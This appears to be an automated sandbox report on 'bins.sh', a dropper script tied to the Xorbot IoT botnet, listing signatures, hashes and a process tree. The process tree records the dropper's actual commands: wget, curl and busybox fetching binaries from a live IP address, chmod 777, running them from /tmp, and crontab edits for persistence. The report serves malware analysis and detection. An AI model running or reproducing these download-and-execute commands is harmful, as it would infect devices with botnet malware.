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Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    28/02/2025, 12:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    6d5db893b3366e9b599c283095502209

  • SHA1

    20bb6748cb464f266c5d2d9c823902992608268f

  • SHA256

    0fd5bcfd27d9e8c93debe59a1730b63f457b08ffcdc63cb99f403cae0a2a43c4

  • SHA512

    45f4e7d8a98a99afa62b6cb40a23cf17a1f7092fa2ae5d73ec70ee10484cbb7c2c4f99c8d78583d66818b993c8dba10403e372929a16f59b418982dea1c58402

  • SSDEEP

    96:T5p4I7ZprzE5FJM0Rl8rLNfSMgZeTy4U83SuuhlnzQMsnyI7ZgdurzE5FZ60Rl8h:T5p41M5f9U83Suuhln07LU83Su4hlnY

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1133) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:707
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:712
      • /usr/bin/wget
        wget http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • Writes file to tmp directory
        PID:717
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • Writes file to tmp directory
        PID:724
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • Writes file to tmp directory
        PID:735
      • /bin/chmod
        chmod 777 coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • File and Directory Permissions Modification
        PID:738
      • /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        ./coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
          PID:739
        • /bin/rm
          rm coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/chmod
            chmod 777 hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • File and Directory Permissions Modification
            PID:746
          • /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            ./hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
              PID:747
            • /bin/rm
              rm hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
              2⤵
                PID:749
              • /usr/bin/wget
                wget http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • Writes file to tmp directory
                PID:750
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • Writes file to tmp directory
                PID:751
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • Writes file to tmp directory
                PID:752
              • /bin/chmod
                chmod 777 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • File and Directory Permissions Modification
                PID:755
              • /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                ./6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                  PID:756
                • /bin/rm
                  rm 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                  2⤵
                    PID:759
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    2⤵
                    • Writes file to tmp directory
                    PID:761
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    2⤵
                    • Writes file to tmp directory
                    PID:767
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    2⤵
                    • Writes file to tmp directory
                    PID:775
                  • /bin/chmod
                    chmod 777 BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    2⤵
                    • File and Directory Permissions Modification
                    PID:778
                  • /tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    ./BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:780
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:782
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:798
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:803
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:808
                      • /bin/rm
                        rm BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                        2⤵
                          PID:794
                        • /usr/bin/wget
                          wget http://37.44.238.88/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                          2⤵
                            PID:806
                          • /usr/bin/curl
                            curl -O http://37.44.238.88/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                            2⤵
                              PID:809
                            • /bin/busybox
                              /bin/busybox wget http://37.44.238.88/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                              2⤵
                              • Writes file to tmp directory
                              PID:812
                            • /bin/chmod
                              chmod 777 WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                              2⤵
                              • File and Directory Permissions Modification
                              PID:916
                            • /tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                              ./WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                              2⤵
                                PID:917
                              • /bin/rm
                                rm WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                                2⤵
                                  PID:920
                                • /usr/bin/wget
                                  wget http://37.44.238.88/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                  2⤵
                                    PID:922
                                  • /usr/bin/curl
                                    curl -O http://37.44.238.88/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                    2⤵
                                      PID:923
                                    • /bin/busybox
                                      /bin/busybox wget http://37.44.238.88/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:926
                                    • /bin/chmod
                                      chmod 777 FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:929
                                    • /tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                      ./FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                      2⤵
                                        PID:930
                                      • /bin/rm
                                        rm FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                        2⤵
                                          PID:933
                                        • /usr/bin/wget
                                          wget http://37.44.238.88/bins/ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                          2⤵
                                            PID:934
                                          • /usr/bin/curl
                                            curl -O http://37.44.238.88/bins/ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                            2⤵
                                              PID:936
                                            • /bin/busybox
                                              /bin/busybox wget http://37.44.238.88/bins/ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:938
                                            • /bin/chmod
                                              chmod 777 ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:942
                                            • /tmp/ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                              ./ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                              2⤵
                                                PID:943
                                              • /bin/rm
                                                rm ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                                2⤵
                                                  PID:944
                                                • /usr/bin/wget
                                                  wget http://37.44.238.88/bins/deRXcu662s6hASp99AX8EnNCbJzOoVHGXg
                                                  2⤵
                                                    PID:945
                                                  • /usr/bin/curl
                                                    curl -O http://37.44.238.88/bins/deRXcu662s6hASp99AX8EnNCbJzOoVHGXg
                                                    2⤵
                                                      PID:948

                                                  Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X

                                                    Filesize

                                                    151KB

                                                    MD5

                                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                                    SHA1

                                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                    SHA256

                                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                    SHA512

                                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                  • /tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY

                                                    Filesize

                                                    151KB

                                                    MD5

                                                    6c583043d91c55aa470c08c87058e917

                                                    SHA1

                                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                                    SHA256

                                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                    SHA512

                                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                  • /tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV

                                                    Filesize

                                                    99KB

                                                    MD5

                                                    9438d9bc392bcf300a5583b6df5bc8f6

                                                    SHA1

                                                    375a6ae34b516f6f3eeea8030c4084f585017efa

                                                    SHA256

                                                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                    SHA512

                                                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                  • /tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc

                                                    Filesize

                                                    122KB

                                                    MD5

                                                    cd3d4b9c643e5b473fb4d88ed05f0716

                                                    SHA1

                                                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                    SHA256

                                                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                    SHA512

                                                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                  • /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F

                                                    Filesize

                                                    107KB

                                                    MD5

                                                    eb9c3a0de91fcf16ba17cb24608df68c

                                                    SHA1

                                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                                    SHA256

                                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                    SHA512

                                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                  • /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

                                                    Filesize

                                                    127KB

                                                    MD5

                                                    89077b7bd4bcafca7713be43635c4862

                                                    SHA1

                                                    fc02edb8fba29ea8ee99e6157ef8560334530052

                                                    SHA256

                                                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                    SHA512

                                                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                  • /tmp/ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu

                                                    Filesize

                                                    177KB

                                                    MD5

                                                    786d75a158fe731feca3880f436082c0

                                                    SHA1

                                                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                    SHA256

                                                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                    SHA512

                                                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                  • /var/spool/cron/crontabs/tmp.gkQBUf

                                                    Filesize

                                                    210B

                                                    MD5

                                                    b3d903f129b4b2862c7ce5a8c1d57c27

                                                    SHA1

                                                    83971383240d4085903342def34b9e74320e6e7b

                                                    SHA256

                                                    306a9602f50a1fc443ab63d3c1cf70d1fe89b15c6ffcd079ccb01997f6e47b9b

                                                    SHA512

                                                    c2cae893a405d0c669eaaa3cacfd7a4ca4a0b3671e565d7d2e7fde5b36dd419aab1bdc02401e8c8a7141ccba78567005e1038af642c58a5180e7c8753ab60990